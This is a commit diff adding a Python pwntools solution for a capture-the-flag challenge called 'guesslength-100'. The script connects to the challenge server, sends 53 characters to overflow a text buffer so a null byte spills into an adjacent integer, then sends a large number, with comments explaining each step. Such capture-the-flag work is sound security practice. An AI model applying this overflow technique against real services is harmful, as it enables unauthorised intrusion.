added a solution to guesslength

Author: hsheth2

binary/guesslength-100/solution.py

@@ -0,0 +1,13 @@
+from pwn import *
+import time
+context(arch='i386', os='linux') # <-- Add the architecture and os
+
+HOST,PORT = "problems.ctfx.io",1338
+r=remote(HOST,PORT)
+
+r.sendline("a" * 53)  # fill the text buffer, and make the null byte overflow into the int's memory
+time.sleep(0.1)
+r.sendline("2147483647")  # a large number will ensure that the null byte (which is in the int's memory) is overwritten
+time.sleep(0.1)
+
+print r.recv(4000)